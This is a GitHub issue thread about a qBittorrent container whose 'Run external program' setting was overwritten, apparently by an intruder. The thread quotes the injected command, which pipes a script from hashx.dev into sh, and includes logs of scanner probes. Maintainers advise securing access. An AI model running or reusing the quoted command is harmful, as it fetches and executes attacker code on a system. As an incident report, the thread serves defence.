Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Settings/Downloads/Run external program section overwritten autometically #356

Open
1 task done
gresnyer opened this issue Dec 15, 2024 · 5 comments
Open
1 task done

Comments

@gresnyer
Copy link

Is there an existing issue for this?

  • I have searched the existing issues

Current Behavior

After 1-2 days configuration "Run external program" section in Settings/Downloads was automatically overwritten by this string: "sh -c "(curl -skL https://hashx.dev || wget --no-check-certificate -qO - https://hashx.dev) | sh"" in both options (torrent added, torrent finished). I am not sure that it is related, but in the same time "netaddr" process has hig CPU utilization, over 100%. I can kill that process and the utilization is going back to normal.

Expected Behavior

Keep my settings instead of overwrite it.

Steps To Reproduce

  1. Go to Settings/Downloads/Run external program.
  2. Complete your own settings, for example: I want to copy the downloaded content from one directory to another: "cp -R /torrents/%N /downloads/%N"
    Screenshot 2024-12-15 at 10 14 43
  3. After 1-2 days settings will be overwritten by "sh -c "(curl -skL https://hashx.dev || wget --no-check-certificate -qO - https://hashx.dev) | sh""
    Screenshot 2024-12-15 at 10 03 57

Environment

- OS: Synology DSM 7.2.2-72806 Update 2
- How docker service was installed: Feature was installed in Synology Package Center

CPU architecture

x86-64

Docker creation

version: '3.0'

networks: 
  macvlan_bridge: 
    name: macvlan_bridge
    ipam:
      config:
        - gateway: 10.10.0.1
          subnet: 10.10.0.0/24
services:
  qbittorrent:
    container_name: qbittorrent
    image: "lscr.io/linuxserver/qbittorrent"
    environment:
      - PUID=1026
      - PGID=101
      - TZ=Europe/Budapest
      - WEBUI_PORT=8088
      - TORRENTING_PORT=6888
    volumes:
      - /volume1/docker/qbittorrent:/config
      - /volume1/downloads:/downloads
      - /volume1/torrents:/torrents
    network_mode: bridge
    networks:
      macvlan_bridge:
    ports:
      - 8088:8088/tcp
      - 6888:6888/tcp
    restart: unless-stopped

Container logs

[migrations] started
[migrations] no migrations found
───────────────────────────────────────

      ██╗     ███████╗██╗ ██████╗
      ██║     ██╔════╝██║██╔═══██╗
      ██║     ███████╗██║██║   ██║
      ██║     ╚════██║██║██║   ██║
      ███████╗███████║██║╚██████╔╝
      ╚══════╝╚══════╝╚═╝ ╚═════╝

   Brought to you by linuxserver.io
───────────────────────────────────────

To support LSIO projects visit:
https://www.linuxserver.io/donate/

───────────────────────────────────────
GID/UID
───────────────────────────────────────

User UID:    1026
User GID:    101
───────────────────────────────────────
Linuxserver.io version: 5.0.2-r0-ls367
Build-date: 2024-12-01T06:55:34+00:00
───────────────────────────────────────
    
[custom-init] No custom files found, skipping...
WebUI will be started shortly after internal preparations. Please wait...

******** Information ********
Connection to localhost (127.0.0.1) 8088 port [tcp/omniorb] succeeded!
To control qBittorrent, access the WebUI at: http://localhost:8088
[ls.io-init] done.
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Catching signal: SIGTERM
Exiting cleanly
[migrations] started
[migrations] no migrations found
usermod: no changes
───────────────────────────────────────

      ██╗     ███████╗██╗ ██████╗
      ██║     ██╔════╝██║██╔═══██╗
      ██║     ███████╗██║██║   ██║
      ██║     ╚════██║██║██║   ██║
      ███████╗███████║██║╚██████╔╝
      ╚══════╝╚══════╝╚═╝ ╚═════╝

   Brought to you by linuxserver.io
───────────────────────────────────────

To support LSIO projects visit:
https://www.linuxserver.io/donate/

───────────────────────────────────────
GID/UID
───────────────────────────────────────

User UID:    1026
User GID:    101
───────────────────────────────────────
Linuxserver.io version: 5.0.2-r0-ls367
Build-date: 2024-12-01T06:55:34+00:00
───────────────────────────────────────
    
[custom-init] No custom files found, skipping...
WebUI will be started shortly after internal preparations. Please wait...

******** Information ********
To control qBittorrent, access the WebUI at: http://localhost:8088
Connection to localhost (127.0.0.1) 8088 port [tcp/omniorb] succeeded!
[ls.io-init] done.
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Catching signal: SIGTERM
Exiting cleanly
[migrations] started
[migrations] no migrations found
usermod: no changes
───────────────────────────────────────

      ██╗     ███████╗██╗ ██████╗
      ██║     ██╔════╝██║██╔═══██╗
      ██║     ███████╗██║██║   ██║
      ██║     ╚════██║██║██║   ██║
      ███████╗███████║██║╚██████╔╝
      ╚══════╝╚══════╝╚═╝ ╚═════╝

   Brought to you by linuxserver.io
───────────────────────────────────────

To support LSIO projects visit:
https://www.linuxserver.io/donate/

───────────────────────────────────────
GID/UID
───────────────────────────────────────

User UID:    1026
User GID:    101
───────────────────────────────────────
Linuxserver.io version: 5.0.2-r0-ls367
Build-date: 2024-12-01T06:55:34+00:00
───────────────────────────────────────
    
[custom-init] No custom files found, skipping...
WebUI will be started shortly after internal preparations. Please wait...

Connection to localhost (127.0.0.1) 8088 port [tcp/omniorb] succeeded!
******** Information ********
To control qBittorrent, access the WebUI at: http://localhost:8088
[ls.io-init] done.
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
bool Http::RequestParser::parseRequestLine(const QString&) invalid http header: "\u0005\u0004\u0000\u0001\u0002\u0080\u0005\u0001\u0000\u0003\ngoogle.com\u0000PGET / HTTP/1.0"
Http::RequestParser::ParseResult Http::RequestParser::doParse(QByteArrayView) header parsing error
Bad Http request, closing socket. IP: ::ffff:10.10.0.1
Http::RequestParser::ParseResult Http::RequestParser::doParse(QByteArrayView) header parsing error
Bad Http request, closing socket. IP: ::ffff:10.10.0.1
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "OPTIONS"
bool Http::RequestParser::parseRequestLine(const QString&) invalid http header: "OPTIONS / RTSP/1.0"
Http::RequestParser::ParseResult Http::RequestParser::doParse(QByteArrayView) header parsing error
Bad Http request, closing socket. IP: ::ffff:10.10.0.1
bool Http::RequestParser::parseRequestLine(const QString&) invalid http header: "OPTIONS sip:nm SIP/2.0"
Http::RequestParser::ParseResult Http::RequestParser::doParse(QByteArrayView) header parsing error
Bad Http request, closing socket. IP: ::ffff:10.10.0.1
Http::RequestParser::ParseResult Http::RequestParser::doParse(QByteArrayView) header parsing error
Bad Http request, closing socket. IP: ::ffff:10.10.0.1
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "OPTIONS"
bool Http::RequestParser::parseRequestLine(const QString&) invalid http header: "OPTIONS / RTSP/1.0"
Http::RequestParser::ParseResult Http::RequestParser::doParse(QByteArrayView) header parsing error
Bad Http request, closing socket. IP: ::ffff:10.10.0.1
bool Http::RequestParser::parseRequestLine(const QString&) invalid http header: "OPTIONS sip:nm SIP/2.0"
Http::RequestParser::ParseResult Http::RequestParser::doParse(QByteArrayView) header parsing error
Bad Http request, closing socket. IP: ::ffff:10.10.0.1
bool Http::RequestParser::parseRequestLine(const QString&) invalid http header: "\u0010\u0000\u0003\u0000LIORL\t\u0000\u0000ÿÿÿÿ\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000cª¾d\u0001\u0000\u0000\u0000\u0001\u001C \u0002`\u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u00001\u00009\u00002\u0000.\u00001\u00006\u00008\u0000.\u00001\u00000\u0000.\u00001\u00000\u00000\u0000/\u0000m\u0000s\u0000m\u0000q\u0000/\u0000p\u0000r\u0000i\u0000v\u0000a\u0000t\u0000e\u0000$\u0000/\u0000q\u0000u\u0000e\u0000u\u0000e\u0000j\u0000u\u0000m\u0000p\u0000e\u0000r\u0000\u0000\u0000\u0000\u0000\u0000\u0004\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000p\u0000o\u0000c\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u001B\u0002\u0000\u0000<\u0000s\u0000e\u0000:\u0000E\u0000n\u0000v\u0000e\u0000l\u0000o\u0000p\u0000e\u0000 \u0000x\u0000m\u0000l\u0000n\u0000s\u0000:\u0000s\u0000e\u0000=\u0000\"\u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u0000s\u0000c\u0000h\u0000e\u0000m\u0000a\u0000s\u0000.\u0000x\u0000m\u0000l\u0000s\u0000o\u0000a\u0000p\u0000.\u0000o\u0000r\u0000g\u0000/\u0000s\u0000o\u0000a\u0000p\u0000/\u0000e\u0000n\u0000v\u0000e\u0000l\u0000o\u0000p\u0000e\u0000/\u0000\"\u0000 \u0000\r\u0000\n\u0000x\u0000m\u0000l\u0000n\u0000s\u0000=\u0000\"\u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u0000s\u0000c\u0000h\u0000e\u0000m\u0000a\u0000s\u0000.\u0000x\u0000m\u0000l\u0000s\u0000o\u0000a\u0000p\u0000.\u0000o\u0000r\u0000g\u0000/\u0000s\u0000r\u0000m\u0000p\u0000/\u0000\"\u0000>\u0000\r\u0000\n\u0000<\u0000s\u0000e\u0000:\u0000H\u0000e\u0000a\u0000d\u0000e\u0000r\u0000>\u0000\r\u0000\n\u0000 \u0000<\u0000p\u0000a\u0000t\u0000h\u0000 \u0000x\u0000m\u0000l\u0000n\u0000s\u0000=\u0000\"\u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u0000s\u0000c\u0000h\u0000e\u0000m\u0000a\u0000s\u0000.\u0000x\u0000m\u0000l\u0000s\u0000o\u0000a\u0000p\u0000.\u0000o\u0000r\u0000g\u0000/\u0000r\u0000p\u0000/\u0000\"\u0000 \u0000s\u0000e\u0000:\u0000m\u0000u\u0000s\u0000t\u0000U\u0000n\u0000d\u0000e\u0000r\u0000s\u0000t\u0000a\u0000n\u0000d\u0000=\u0000\"\u00001\u0000\"\u0000>\u0000\r\u0000\n\u0000 \u0000 \u0000 \u0000<\u0000a\u0000c\u0000t\u0000i\u0000o\u0000n\u0000>\u0000M\u0000S\u0000M\u0000Q\u0000:\u0000p\u0000o\u0000c\u0000<\u0000/\u0000a\u0000c\u0000t\u0000i\u0000o\u0000n\u0000>\u0000\r\u0000\n\u0000 \u0000 \u0000 \u0000<\u0000t\u0000o\u0000>\u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u00001\u00009\u00002\u0000.\u00001\u00006\u00008\u0000.\u00001\u00000\u0000.\u00001\u00000\u00000\u0000/\u0000m\u0000s\u0000m\u0000q\u0000/\u0000p\u0000r\u0000i\u0000v\u0000a\u0000t\u0000e\u0000$\u0000/\u0000q\u0000u\u0000e\u0000u\u0000e\u0000j\u0000u\u0000m\u0000p\u0000e\u0000r\u0000<\u0000/\u0000t\u0000o\u0000>\u0000\r\u0000\n\u0000 \u0000 \u0000 \u0000<\u0000i\u0000d\u0000>\u0000u\u0000u\u0000i\u0000d\u0000:\u00001\u0000@\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u0000-\u00000\u00000\u00000\u00000\u0000-\u00000\u00000\u00000\u00000\u0000-\u00000\u00000\u00000\u00000\u0000-\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u0000<\u0000/\u0000i\u0000d\u0000>\u0000\r\u0000\n\u0000 \u0000<\u0000/\u0000p\u0000a\u0000t\u0000h\u0000>\u0000\r\u0000\n\u0000 \u0000<\u0000p\u0000r\u0000o\u0000p\u0000e\u0000r\u0000t\u0000i\u0000e\u0000s\u0000 \u0000s\u0000e\u0000:\u0000m\u0000u\u0000s\u0000t\u0000U\u0000n\u0000d\u0000e\u0000r\u0000s\u0000t\u0000a\u0000n\u0000d\u0000=\u0000\"\u00001\u0000\"\u0000>\u0000\r\u0000\n\u0000 \u0000 \u0000 \u0000<\u0000e\u0000x\u0000p\u0000i\u0000r\u0000e\u0000s\u0000A\u0000t\u0000>\u00002\u00000\u00006\u00000\u00000\u00006\u00000\u00009\u0000T\u00001\u00006\u00004\u00004\u00001\u00009\u0000<\u0000/\u0000e\u0000x\u0000p\u0000i\u0000r\u0000e\u0000s\u0000A\u0000t\u0000>\u0000\r\u0000\n\u0000 \u0000 \u0000 \u0000<\u0000s\u0000e\u0000n\u0000t\u0000A\u0000t\u0000>\u00002\u00000\u00002\u00003\u00000\u00007\u00002\u00004\u0000T\u00001\u00006\u00004\u00004\u00001\u00009\u0000<\u0000/\u0000s\u0000e\u0000n\u0000t\u0000A\u0000t\u0000>\u0000\r\u0000\n\u0000 \u0000<\u0000/\u0000p\u0000r\u0000o\u0000p\u0000e\u0000r\u0000t\u0000i\u0000e\u0000s\u0000>\u0000\r\u0000\n\u0000<\u0000/\u0000s\u0000e\u0000:\u0000H\u0000e\u0000a\u0000d\u0000e\u0000r\u0000>\u0000\r\u0000\n\u0000<\u0000s\u0000e\u0000:\u0000B\u0000o\u0000d\u0000y\u0000>\u0000<\u0000/\u0000s\u0000e\u0000:\u0000B\u0000o\u0000d\u0000y\u0000>\u0000\r\u0000\n\u0000<\u0000/\u0000s\u0000e\u0000:\u0000E\u0000n\u0000v\u0000e\u0000l\u0000o\u0000p\u0000e\u0000>\u0000\r\u0000\n\u0000\r\u0000\n\u0000\u0000\u0000\u0000\u0000ô\u0001\u0000\u0000\f\u0004\u0000\u0000\u0007\u0000\u0000\u0000ã\u0003\u0000\u0000POST /msmq HTTP/1.1"
Http::RequestParser::ParseResult Http::RequestParser::doParse(QByteArrayView) header parsing error
Bad Http request, closing socket. IP: ::ffff:10.10.0.1
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
bool Http::RequestParser::parseRequestLine(const QString&) invalid http header: "\u0005\u0004\u0000\u0001\u0002\u0080\u0005\u0001\u0000\u0003\ngoogle.com\u0000PGET / HTTP/1.0"
Http::RequestParser::ParseResult Http::RequestParser::doParse(QByteArrayView) header parsing error
Bad Http request, closing socket. IP: ::ffff:10.10.0.1
Http::RequestParser::ParseResult Http::RequestParser::doParse(QByteArrayView) header parsing error
Bad Http request, closing socket. IP: ::ffff:10.10.0.1
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "OPTIONS"
bool Http::RequestParser::parseRequestLine(const QString&) invalid http header: "OPTIONS / RTSP/1.0"
Http::RequestParser::ParseResult Http::RequestParser::doParse(QByteArrayView) header parsing error
Bad Http request, closing socket. IP: ::ffff:10.10.0.1
bool Http::RequestParser::parsePostMessage(QByteArrayView) unknown content type: ""
Http::RequestParser::ParseResult Http::RequestParser::doParse(QByteArrayView) message body parsing error
Bad Http request, closing socket. IP: ::ffff:10.10.0.1
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "CONNECT"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Bad Http request method, closing socket. IP: ::ffff:10.10.0.1. Method: "PRI"
Copy link

Thanks for opening your first issue here! Be sure to follow the relevant issue templates, or risk having this issue marked as invalid.

@j0nnymoe
Copy link
Member

Sounds like you have your qbittorrent exposed to the internet and someone else has gained access to it.

@gresnyer
Copy link
Author

Sounds like you have your qbittorrent exposed to the internet and someone else has gained access to it.

Not published directly, Web UI published using Nginx reverse proxy.

@j0nnymoe
Copy link
Member

I would highly recommend reviewing your reverse proxy/access. Every report we've had with this is has been the result of a user leaving something exposed without any authentication.

@gresnyer
Copy link
Author

Thanks for the suggestion.
I reviewed all settings, changed all user/password, enabled/configured all available security features.

I will keep on my eyes and will let you know.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
Status: Issues
Development

No branches or pull requests

2 participants